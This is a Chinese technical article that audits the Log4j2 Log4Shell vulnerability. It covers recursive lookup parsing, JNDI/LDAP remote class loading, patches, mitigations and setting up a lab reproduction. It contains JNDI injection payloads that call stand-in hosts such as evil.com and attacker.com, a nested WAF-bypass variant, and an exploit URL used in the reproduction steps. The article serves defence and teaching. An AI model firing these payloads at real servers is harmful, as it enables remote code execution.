Log4j2漏洞深度解析:从递归解析到JNDI注入的完整攻击链与防御实践

📅 2026/7/14 17:04:42
Log4j2漏洞深度解析:从递归解析到JNDI注入的完整攻击链与防御实践
1. 项目概述从一次应急响应到深度审计去年年底当Log4j2的漏洞CVE-2021-44228像一颗深水炸弹在技术圈引爆时我正在为一个客户的线上系统做常规巡检。起初只是监控告警里出现了一些奇怪的、包含${jndi:ldap://字样的日志条目看起来像是某种配置错误。但很快安全团队的紧急通告和朋友圈里刷屏的“核弹级漏洞”让我意识到这远非一次简单的误报。我立刻放下手头工作投入到对这个漏洞的应急响应和深度分析中。这次事件让我深刻体会到对于一个广泛使用的底层日志组件其安全性的理解绝不能停留在“知道有这么个漏洞”的层面必须深入到代码层面理清攻击者是如何利用一个看似无害的日志记录功能最终实现远程代码执行的完整链条。这不仅是为了修复当下更是为了在未来的架构设计和代码审计中建立起对这种“递归解析”和“动态加载”风险的直觉。CVE-2021-44228也被称为Log4Shell其核心危害在于攻击者可以通过构造特殊的日志信息例如在用户可控的输入如HTTP请求头、用户名中嵌入${jndi:ldap://evil.com/a}触发Log4j2在记录日志时对消息中的${}占位符进行递归解析。当解析到jndi:协议时Log4j2会尝试通过JNDIJava命名和目录接口去远程加载一个对象而这个对象可以指向一个恶意的Java类最终在服务器上执行任意代码。这个漏洞影响范围之广、利用门槛之低、危害性之大堪称近年来之最。本文将从一个代码审计者的视角彻底拆解这个漏洞从入口点到最终RCE远程代码执行的完整技术链路剖析其递归解析机制、JNDI注入的利用条件并分享在应急响应和代码审计中如何快速定位、验证以及思考更深层次的防御策略。2. 漏洞原理深度拆解递归解析与JNDI的动态之殇要理解Log4j2的这个漏洞我们不能孤立地只看那行lookup代码而必须将其置于Log4j2的整个日志事件处理流程和其强大的“查找”Lookup功能上下文之中。这本质上是一次精心设计的“特性滥用”。2.1 Log4j2的上下文与Lookup机制Log4j2为了提供灵活的日志输出格式设计了一套“查找”机制。通过${prefix:key}这样的语法可以在配置文件中动态地插入各种运行时信息比如系统属性${sys:java.version}、环境变量${env:PATH}、甚至是日志事件本身的上下文数据${ctx:user}。这个功能本身非常强大且实用。关键在于Log4j2不仅允许在log4j2.xml配置文件的PatternLayout中使用这些查找更危险的是它默认允许在日志消息本身中进行查找解析。这意味着当日志语句logger.info(“Received request from user: {}”, username)被执行时如果username这个变量的值包含了${...}字符串Log4j2在构造最终日志消息的过程中会尝试去解析并替换这个占位符。这是整个漏洞链的逻辑起点。2.2 递归解析潘多拉魔盒的钥匙单纯的查找替换并不足以构成严重漏洞。Log4j2的另一个“特性”是递归解析。当它解析一个${...}表达式时如果替换后的结果仍然包含${...}它会继续解析直到没有可解析的占位符为止。考虑这个场景初始日志消息“User input: ${jndi:ldap://${sys:java.version}.evil.com/}”第一层解析Log4j2发现${jndi:...}但它内部的${sys:java.version}对于外层解析器来说只是普通字符串。执行JNDI查找不这里有个关键步骤。在早期有缺陷的版本中jndi:这个查找实现JndiLookup类在获取到ldap://${sys:java.version}.evil.com/这个URL字符串后它自己也会对这个字符串进行一次解析以支持在JNDI地址中动态插入变量。于是JndiLookup解析${sys:java.version}得到例如“11.0.15”。最终JNDI去连接的地址变成了ldap://11.0.15.evil.com/。这种递归解析能力使得攻击者可以构造出极其灵活和具有规避性的攻击载荷。例如通过嵌套${lower:}、${upper:}等查找来绕过基于简单字符串匹配的WAF规则或者像上面那样动态生成攻击域名。注意这里需要纠正一个常见的误解。主漏洞CVE-2021-44228的递归解析主要发生在Interpolator类处理整个日志消息的阶段而JNDI Lookup内部的解析是另一个问题CVE-2021-45046。但在实际攻击链中它们往往被结合使用构成了强大的绕过能力。我们审计时必须将整个解析引擎视为一个可能被递归触发的整体。2.3 JNDI注入从查找加载到代码执行JNDI是Java提供的一个统一接口用于访问各种命名和目录服务如LDAP、RMI、DNS等。JndiLookup的功能就是根据给定的JNDI名称去对应的服务上查找并返回一个对象。在Java中从远程服务尤其是LDAP加载对象时有一个危险的行为LDAP服务端可以返回一个javaSerializedData属性其中包含序列化的Java对象或者通过javaReferenceAddress指向一个远程的Java类文件.class。客户端的JNDI实现如主流JDK中的com.sun.jndi.ldap.object.trustURLCodebase默认行为在特定条件下会反序列化这些数据或动态加载远程类。在漏洞利用中攻击者会搭建一个恶意的LDAP服务器。当Log4j2触发${jndi:ldap://attacker.com/Exploit}查找时流程如下Log4j2调用JndiLookup.lookup()。该方法初始化一个JNDI上下文new InitialContext()并调用lookup(“ldap://attacker.com/Exploit”)。Java运行时向attacker.com的389端口发起LDAP查询。恶意的LDAP服务器返回一个条目其中包含javaClassName为某个类如Exploit并通过javaCodeBase指定一个HTTP地址如http://attacker.com/在objectClass中标记为javaNamingReference。在JDK 8u191、7u201、6u211等较低版本中trustURLCodebase默认值为true。此时Java客户端会自动从javaCodeBase指定的HTTP地址去加载Exploit.class文件并使用当前应用的类加载器实例化这个类。攻击者只需让这个类的静态代码块或构造函数包含恶意代码如执行Runtime.getRuntime().exec(“calc”)RCE便瞬间达成。这就是从字符串解析到远程代码执行的完整桥梁。审计重点在于任何允许用户输入未经充分处理就直接进入日志消息且日志配置未禁用消息查找log4j2.formatMsgNoLookups的地方都是潜在的漏洞点。3. 代码审计实战追踪漏洞触发全链路理论清晰后我们进入实战环节。我将以Log4j2 2.14.1版本漏洞版本的代码为例一步步追踪一个恶意payload是如何被解析和执行的。你需要准备好源码和一款IDE如IntelliJ IDEA以便进行跟踪。3.1 入口点定位从Logger.info到MessagePatternConverter漏洞的触发始于日志记录API的调用。我们从一个最简单的漏洞代码开始import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class VulnApp { private static final Logger logger LogManager.getLogger(VulnApp.class); public void logUserInput(String userInput) { // 危险userInput若包含${jndi:ldap://...}将触发漏洞 logger.info(User input: {}, userInput); } }当logger.info被调用时Log4j2框架会创建一个LogEvent对象其中包含了消息模板“User input: {}”和参数userInput。关键的处理发生在负责将LogEvent转换为最终输出字符串的组件中。使用IDE的“查找用法”功能跟踪LogManager.getLogger().info()的调用链。你会发现核心路径最终会指向org.apache.logging.log4j.core.pattern.MessagePatternConverter类。这个类的format方法负责处理日志事件中的消息部分。在MessagePatternConverter.format()中有一段关键逻辑if (config ! null !config.isFiltered(event)) { workingBuilder.append(config.getStrSubstitutor().replace(event, text)); }这里的config.getStrSubstitutor()返回一个StrSubstitutor实例它就是负责执行${}替换插值的核心引擎。text参数就是包含了用户输入的完整消息字符串例如“User input: ${jndi:ldap://evil.com/x}”。3.2 核心解析引擎StrSubstitutor与递归替换进入StrSubstitutor.replace(event, text)方法。它的核心是一个循环使用正则表达式${开头}结尾在字符串中查找所有可能的变量占位符。对于每一个找到的占位符比如${jndi:ldap://evil.com/x}它会提取出变量名jndi:ldap://evil.com/x然后调用resolveVariable方法来获取这个变量的值。resolveVariable方法会遍历一个Lookup解析器列表strLookupMap。这个列表里包含了各种前缀的查找器如sys:,env:,java:,jndi:等。当它发现变量以jndi:开头时就会将剩余部分ldap://evil.com/x交给JndiLookup类的实例去处理。这里就是递归发生的地方StrSubstitutor在完成一次替换后会检查替换后的新字符串是否仍然包含${。如果是它会将新字符串作为输入从头开始新一轮的解析和替换循环。这个过程会一直持续直到字符串中不再包含可解析的占位符。这就解释了为什么像${${lower:j}ndi:...}这样的嵌套payload能够生效第一轮解析${lower:j}得到j形成完整的${jndi:...}第二轮解析再触发JNDI查找。实操心得在审计时不要只搜索JndiLookup。任何实现了StrLookup接口的类都需要被审查其lookup方法是否可能执行危险操作如命令执行、文件读取、网络访问。StrSubstitutor这个递归解析引擎本身就是需要重点关注的危险组件。3.3 致命一跃JndiLookup的远程加载跟踪进入org.apache.logging.log4j.core.lookup.JndiLookup类。其lookup方法核心代码如下简化public String lookup(final LogEvent event, final String key) { if (key null) { return null; } String jndiName convertJndiName(key); // 注意这里可能进行额外解析 try (JndiManager jndiManager JndiManager.getDefaultManager()) { Object obj jndiManager.lookup(jndiName); return obj null ? null : Objects.toString(obj, null); } catch (final NamingException e) { // 记录错误返回null return null; } }convertJndiName方法在早期版本中可能会对key再次进行插值解析这是CVE-2021-45046涉及的问题进一步增加了递归的复杂性。随后它通过JndiManager执行真正的JNDI查找。JndiManager.lookup()最终会调用Java标准库的javax.naming.InitialContext.lookup(String name)。从这里开始控制权就交给了Java运行时环境。如果name是一个LDAP URLJava将发起网络请求。审计关键点JndiLookup类在漏洞版本中没有对key即JNDI名称做任何白名单或协议限制。它允许任何有效的JNDI URL包括ldap://、rmi://、dns://等。这是设计上的致命缺陷。一个安全的日志组件根本不应该在默认情况下提供执行远程网络请求的能力。3.4 利用链闭合JDK的默认信任与类加载最后一步发生在Java运行时层面。当InitialContext.lookup(“ldap://evil.com/Exploit”)执行时JDK的LDAP提供者com.sun.jndi.ldap.LdapCtx会连接evil.com:389。攻击者控制的LDAP服务器返回一个恶意的Reference对象其中指定了className如Exploit和codebase如http://evil.com/。在受影响的JDK版本如8u191之前中com.sun.jndi.ldap.object.trustURLCodebase系统属性默认为true。这使得JNDI客户端会自动从远程codebase加载类字节码。加载类时其静态初始化块static {}或默认构造函数中的代码会被执行从而完成远程代码执行。至此一条从用户输入日志到递归解析再到JNDI远程类加载最终实现RCE的完整攻击链路就清晰了。4. 漏洞修复与缓解措施分析理解攻击链后修复和缓解的思路就非常明确了在链路的任何一个环节进行阻断都可以防御攻击。4.1 官方补丁策略演进Apache Log4j2团队发布了一系列补丁其修复策略在不断收紧2.15.0版本初始紧急修复默认行为变更在Log4j2-core中默认将log4j2.formatMsgNoLookups系统属性设置为true。这直接禁用了在日志消息中进行查找的功能从源头上切断了攻击链。这是最直接有效的修复。JNDI限制JndiLookup类增加了对可访问协议的限制默认只允许java协议本地JNDI并禁用了LDAP和RMI等远程协议。同时JndiManager也增加了对LDAP主机名和端口的限制。存在问题早期2.15.0版本在特定非默认配置下仍存在绕过可能CVE-2021-45046促使了后续更新。2.16.0版本彻底移除根本性解决完全移除了JndiLookup类并从核心模块的依赖中移除了JndiManager。这意味着即使查找功能被重新开启也没有了执行JNDI操作的代码。这是最彻底的修复。默认禁用查找继续默认禁用消息查找。至此主漏洞路径被完全堵死。2.17.0及之后版本加固与防御深度针对后续发现的、与递归解析相关的其他潜在问题如CVE-2021-45105拒绝服务漏洞进行了修复主要是在StrSubstitutor中增加了递归深度限制和异常处理。持续加固代码提升整体安全性。4.2 应急缓解措施实操指南在无法立即升级版本的情况下可以采取以下缓解措施它们对应攻击链的不同环节缓解措施操作命令/配置防护原理优缺点修改JVM参数最推荐-Dlog4j2.formatMsgNoLookupstrue在Log4j2初始化时全局禁用消息内的查找功能。直接切断漏洞触发入口。优点简单、全局生效、影响小。缺点依赖应用重启。设置系统环境变量LOG4J_FORMAT_MSG_NO_LOOKUPStrue同上通过环境变量传递配置。同上。适用于容器化环境。移除漏洞类彻底删除log4j-core jar包中的JndiLookup.class文件zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class物理移除攻击链的关键执行组件。即使查找被触发也无法执行JNDI。优点一劳永逸无需改代码。缺点需操作部署包升级时需重新处理。升级JDK版本升级至JDK 8u191, 7u201, 6u211及以上版本。高版本JDK默认trustURLCodebase为false阻止了从远程Codebase加载类但RMI/LDAP反序列化等其他攻击向量仍需警惕。优点提升整体运行时安全。缺点升级成本高非专为Log4j修复且不能完全防御所有JNDI攻击变种。配置WAF/防火墙规则在WAF或网络层拦截包含${jndi:、${lower:、${upper:、${::-j等特征的请求。在网络边界拦截攻击流量。优点快速应急不依赖应用本身。缺点可能存在绕过如编码、嵌套且防不住内网攻击。重要提示上述缓解措施中修改JVM参数和移除JndiLookup类是当时最有效且直接的临时方案。但终极解决方案永远是升级到安全的Log4j2版本2.16.0及以上。缓解措施只是为升级争取时间。4.3 代码层修复与安全编码实践从开发角度我们应吸取的教训是输入验证与净化对于所有用户输入在记录日志前必须进行严格的验证和净化。对于无法信任的数据应进行转义或直接过滤掉${和}等特殊字符序列。// 简单的防御性示例 public String sanitizeForLog(String input) { if (input null) return null; // 移除或转义可能导致Log4j查找的序列 return input.replace(${, {).replace(}, }); // 或者更彻底使用ESAPI等库进行编码 } logger.info(User input: {}, sanitizeForLog(userControlledInput));谨慎使用日志级别避免在info,debug,trace等低级日志中记录不可信的、完整的用户输入。错误信息记录应使用占位符并确保异常消息本身是安全的。依赖项安全管理使用Maven的versions:display-dependency-updates或OWASP Dependency-Check等工具定期扫描项目依赖。在pom.xml中明确指定日志组件的版本避免使用或LATEST等模糊版本范围。建立软件物料清单SBOM清晰掌握所有组件的来源和版本。5. 审计拓展与深度防御思考一次漏洞分析不应止步于漏洞本身。作为审计人员我们应该形成更体系化的防御思路。5.1 自动化代码审计线索挖掘如何在庞大的代码库中快速定位潜在的类似问题可以借助静态应用程序安全测试SAST工具或编写自定义的代码扫描规则关键API调用扫描搜索项目代码中对Log4j2Logger接口的调用特别是使用占位符{}记录动态参数的方法info(String, Object),error(String, Object)等。审查传入的参数是否为用户完全可控。依赖分析检查pom.xml或gradle.build文件确认引入的log4j-core版本是否在受影响范围2.0-beta9, 2.14.1。配置审计检查log4j2.xml或log4j2.properties配置文件确认是否有显式启用查找功能的配置如PatternLayout pattern%msg /默认行为是危险的而PatternLayout pattern%msg{nolookups} /或PatternLayout pattern%m{nolookups} /是安全的。5.2 从Log4j2到更广义的表达式注入Log4j2漏洞的本质是“表达式注入”。它给我们敲响了警钟任何允许在运行时解析用户提供的表达式、模板或脚本的组件都是潜在的高危点。其他模板引擎如Thymeleaf、FreeMarker、Velocity。如果用户输入未经处理就直接嵌入模板并解析可能导致服务器端模板注入SSTI。脚本引擎如Java的ScriptEngineManager执行JavaScript、Groovy等。动态执行用户控制的脚本是极度危险的。EL表达式在JSP或某些框架中如果用户输入被直接用于EL表达式求值${}也可能导致问题。SQL查询这虽然是更经典的SQL注入但原理相通——将用户数据当作代码执行。审计时应建立“数据与代码边界”的敏感度。每当看到用户输入的数据被传递到一个“解析器”、“引擎”、“求值器”或“查找器”时就要立刻亮起红灯。5.3 纵深防御体系构建单一维度的防御是脆弱的。应构建从外到内的多层次防御网络层使用WAF、IPS等设备部署虚拟补丁拦截已知攻击特征。严格限制服务器外网出站连接尤其是LDAP(389)、RMI(1099)等非常用端口即使被注入也使其无法访问外部恶意服务。主机层使用安全基线加固操作系统限制Java进程的权限如使用非root用户运行。部署RASP运行时应用自保护产品在应用内部监控危险的JNDI查找、类加载等行为并拦截。应用层输入处理如前所述对所有输入进行严格的校验、过滤和编码。安全编码遵循OWASP安全编码规范。依赖管理自动化依赖漏洞扫描和升级。日志规范制定安全的日志记录规范避免记录敏感信息和不信任的数据。运行时环境使用最新版本的JDK/JRE并配置安全参数。例如即使未来有其他JNDI漏洞高版本JDK默认的trustURLCodebasefalse也能阻断一大类利用方式。可以添加更严格的JVM安全策略文件。5.4 漏洞复现环境搭建与验证对于安全研究人员或想要深入理解的开发者搭建一个受控的复现环境至关重要。这不仅能验证漏洞也能测试修复和缓解措施是否有效。准备漏洞环境使用一个旧版本的Spring Boot Demo应用依赖Log4j2 2.14.1。编写一个简单的Controller接收参数并记录到日志。RestController public class VulnController { private static final Logger logger LogManager.getLogger(VulnController.class); GetMapping(/hello) public String hello(RequestParam String name) { logger.info(Received request from user: {}, name); return Hello, name; } }准备攻击端使用开源工具如JNDI-Injection-Exploit或marshalsec快速启动一个恶意的LDAP/RMI服务器。准备一个恶意的Java类编译成.class文件并放在一个HTTP服务器上如Pythonhttp.server。发起攻击访问http://vuln-app/hello?name${jndi:ldap://your-ldap-server:1389/Exploit}观察LDAP服务器和HTTP服务器的访问日志确认收到请求。如果环境脆弱低版本JDK将在漏洞应用服务器上看到命令执行结果如弹出计算器。验证修复在复现环境中依次应用前文提到的缓解措施如添加JVM参数、删除JndiLookup类、升级Log4j2版本。重新发起攻击验证攻击是否被成功阻断。通过亲手复现你对整个漏洞链的理解将从理论层面深入到实践层面对每个环节的细节和依赖关系会有更深刻的把握。这正是在漏洞应急和代码审计工作中不可或缺的实战能力。